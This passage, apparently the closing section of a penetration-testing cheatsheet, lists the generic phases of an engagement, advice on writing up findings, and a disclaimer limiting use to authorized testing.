- Enumeration - Gather configuration and data information
- Vulnerability Assessment - Test for misconfigurations
- Exploitation - Attempt privilege escalation or code execution
- Post-Exploitation - Assess impact and demonstrate risk
- Documentation - Record all findings with evidence
- Remediation - Provide actionable recommendations
Reporting¶
- Provide clear, actionable recommendations
- Include proof-of-concept demonstrations
- Explain business impact of vulnerabilities
- Prioritize findings by severity and exploitability
- Document remediation steps
- Include evidence (screenshots, command outputs)
Disclaimer
This cheatsheet is intended for authorized security testing and educational purposes only. Unauthorized access to computer systems is illegal and punishable by law. Always obtain proper written authorization before conducting penetration tests. The techniques described here should only be used in controlled environments with explicit permission.